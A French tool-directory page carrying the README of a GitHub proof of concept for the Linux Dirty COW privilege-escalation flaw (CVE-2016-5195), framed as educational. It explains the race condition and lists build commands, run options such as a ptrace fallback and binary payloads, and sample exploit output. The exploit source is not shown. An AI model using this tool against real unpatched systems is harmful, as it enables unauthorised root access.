Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
dirtycow-lab — PoC éducatif pour Dirty COW (CVE-2016-5195) avec journalisation, repli ptrace et support de payload binaire. | Kitploit
Outils/GitHubGitHub/mohammadamin382/dirtycow-lab
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationTests d'IntrusionApprentissage et ÉducationRed TeamingExploitation de BinairesLabs et Pratique
GitHubmohammadamin382/dirtycow-lab

dirtycow-lab

PoC éducatif pour Dirty COW (CVE-2016-5195) avec journalisation, repli ptrace et support de payload binaire.

Voir le dépôt
112il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Dirty COW PoC Éducatif (CVE-2016-5195)

⚠️ Avertissement Légal

Ce code est fourni UNIQUEMENT À DES FINS ÉDUCATIVES. Toute utilisation malveillante est strictement interdite et illégale.

📖 Qu'est-ce que Dirty COW ?

Dirty COW (CVE-2016-5195) est une vulnérabilité d'élévation de privilèges dans le noyau Linux qui exploite une condition de course (race condition) dans le mécanisme de copie sur écriture (copy-on-write, COW) du noyau. Cette vulnérabilité affecte les noyaux Linux de la version 2.6.22 (sortie en 2007) jusqu'aux versions antérieures à :

  • 4.8.3
  • 4.7.9
  • 4.4.26

Détails Techniques

La vulnérabilité se produit dans le système de gestion de la mémoire du noyau :

  1. Copie sur écriture (COW) : lorsqu'un processus mappe un fichier avec MAP_PRIVATE, les modifications doivent créer une copie privée.
  2. Condition de course : deux threads en compétition entre madvise(MADV_DONTNEED) et l'écriture dans /proc/self/mem.
  3. Exploitation : dans des conditions de synchronisation spécifiques, les écritures peuvent contourner la protection COW et modifier le fichier original.

Impact

  • Élévation de privilèges : modifier des fichiers en lecture seule appartenant à root.
  • Compromission du système : possibilité d'obtenir un accès root en modifiant des fichiers système comme /etc/passwd.
  • Intégrité des données : modification non autorisée de fichiers système critiques.

🛡️ Notes de Sécurité pour les Tests

⚠️ CRITIQUE : Tester UNIQUEMENT dans un environnement isolé

N'exécutez JAMAIS ceci sur des systèmes de production ou des systèmes qui ne vous appartiennent pas !

Environnement de test recommandé :

  1. Machine virtuelle (VM) : utilisez VMware, VirtualBox ou KVM.
  2. Conteneur : conteneur Docker avec un noyau vulnérable.
  3. Laboratoire isolé : machine de test dédiée sans données importantes.
  4. Prérequis du noyau : versions 2.6.22 à 4.8.2.

Pratiques de test sécurisées :

# 1. Vérifiez d'abord la version du noyau
uname -r

# 2. Créez un répertoire de test isolé
mkdir /tmp/dirtycow_test
cd /tmp/dirtycow_test

# 3. Testez uniquement avec des fichiers inoffensifs
./main -t /tmp/test_file -v

# 4. Surveillez les ressources système
top -p $(pgrep -f main)

🚀 Compilation et Utilisation

Prérequis

# Installez les paquets nécessaires (Ubuntu/Debian)
sudo apt-get update
sudo apt-get install build-essential libssl-dev

# Installez les paquets nécessaires (CentOS/RHEL)
sudo yum install gcc openssl-devel

Compilation

# Compilation standard
make

# Version de débogage
make main-debug

# Compilation manuelle
gcc -o main main.c -lpthread -lssl -lcrypto

Utilisation de base

# Test simple avec paramètres par défaut
./main

# Mode verbeux avec cible personnalisée
./main -t /tmp/testfile -v

# Utilisation avancée avec plusieurs processus
./main -t /tmp/target -n 4 -r 3 -D -v

# Payload binaire depuis un fichier
./main -f payload.bin -P -D -n 2

Options de la ligne de commande

OptionDescriptionDéfautMax
-t <fichier>Chemin du fichier cible/tmp/dirty_cow_test-
-p <payload>Payload texte personnaliséChaîne de test-
-f <fichier>Charger un payload binaire depuis un fichier--
-i <nombre>Nombre d'itérations10 000 000100 000 000
-n <nombre>Nombre de processus parallèles18
-r <nombre>Tentatives de réessai110
-PUtiliser ptrace au lieu de /proc/self/memDésactivé-
-DActiver le balayage dynamique d'offsetDésactivé-
-vSortie verbeuseDésactivé-
-l <fichier>Chemin du fichier journalexploit_log.txt-
-hAfficher l'aide--

🔬 Fonctionnalités Avancées

1. Méthodes d'attaque multiples

  • Méthode 1 : écriture via /proc/self/mem (par défaut)
  • Méthode 2 : ptrace(PTRACE_POKETEXT) pour les systèmes restreints

2. Balayage dynamique d'offset

Scanne plusieurs offsets mémoire pour trouver la meilleure position d'écriture :

./main -D -v  # Activer le balayage dynamique d'offset

3. Conditions de course multi-processus

Lancez plusieurs processus pour des conditions de course intenses :

./main -n 4  # Utiliser 4 processus parallèles

4. Support des payloads binaires

Chargez des données binaires arbitraires depuis des fichiers :

# Créer un payload binaire
echo -ne '\x41\x41\x41\x41\x00\x42\x42' > payload.bin

# Utiliser le payload binaire
./main -f payload.bin -v

5. Logique de réessai automatique

Réessayez automatiquement les tentatives échouées :

./main -r 5  # Réessayer jusqu'à 5 fois

6. Vérification de l'intégrité des fichiers

Utilise le hachage SHA-256 pour vérifier les modifications des fichiers :

# Vérifier les hachages du fichier original vs modifié
./main -v  # Affiche la comparaison des hachages en mode verbeux

📊 Sortie et Journalisation

Exemple de sortie console

Dirty COW PoC Éducatif (CVE-2016-5195)
==========================================

=== INFORMATIONS SYSTÈME ===
Version du noyau : Linux 4.4.0-generic
Architecture : x86_64
Utilisateur actuel : testuser
UID/GID : 1000/1000

=== VÉRIFICATION DE LA VULNÉRABILITÉ ===
Noyau : Linux version 4.4.0-generic
[+] /proc/self/mem accessible

=== DÉBUT DU TEST ===

=== EXÉCUTION DE L'EXPLOIT ===
[+] Cible : /tmp/dirty_cow_test
[+] Longueur du payload : 32 octets
[+] Itérations : 10000000
[+] Processus : 1
[+] Méthode : /proc/self/mem
[+] Offset dynamique : désactivé
[+] Sauvegarde créée : /tmp/dirty_cow_test.backup
[+] Contenu original : contenu-original-avant-exploit
[+] Début du test de condition de course...
[+] EXPLOIT RÉUSSI à la tentative 1 !
[+] Le hachage du fichier a changé - modification confirmée !
[+] Original : a1b2c3d4e5f6...
[+] Final :    f6e5d4c3b2a1...

=== TEST RÉUSSI ===
[+] Modification du fichier terminée
[+] Objectif éducatif atteint
[+] Statistiques : 156789 écritures, 1 réussie, 2.347 sec

Format du fichier journal

L'outil crée des journaux détaillés dans exploit_log.txt :

[2024-01-15 10:30:45] Informations système - UID/GID : 1000/1000
[2024-01-15 10:30:45] Version du noyau : Linux version 4.4.0-generic
[2024-01-15 10:30:45] /proc/self/mem accessible
[2024-01-15 10:30:45] Démarrage de l'exploit - Cible : /tmp/test, Payload : 32 octets
[2024-01-15 10:30:47] EXPLOIT RÉUSSI à la tentative 1
[2024-01-15 10:30:47] Statistiques finales - Écritures : 156789, Réussies : 1, Durée : 2.347 sec

🎯 Scénarios de Test

Scénario 1 : Test de fonctionnalité de base

# Test de la fonctionnalité de base de l'exploit
./main -t /tmp/basic_test -v

Scénario 2 : Test de stress

# Test de condition de course haute intensité
./main -i 50000000 -n 4 -r 3 -D -v

Scénario 3 : Environnement restreint

# Test lorsque /proc/self/mem est bloqué
./main -P -D -v

Scénario 4 : Test de payload binaire

# Test avec des données binaires contenant des octets nuls
echo -ne 'BINARY\x00DATA\x01\x02\x03' > test.bin
./main -f test.bin -v

🔍 Comprendre l'Exploit

Synchronisation de la condition de course

L'exploit fonctionne en créant une compétition entre deux opérations :

  1. Thread 1 : madvise(MADV_DONTNEED) – Indique au noyau de supprimer les pages mémoire
  2. Thread 2 : Écriture dans /proc/self/mem – Tente d'écrire dans la mémoire mappée

Facteurs de succès

  • Version du noyau : doit être vulnérable (< 4.8.3)
  • Synchronisation : la condition de course doit se produire à un moment précis
  • Mappage mémoire : le fichier doit être mappé avec MAP_PRIVATE
  • Permissions : doit avoir un accès en lecture au fichier cible

Pourquoi ça fonctionne

Télécharger l’outil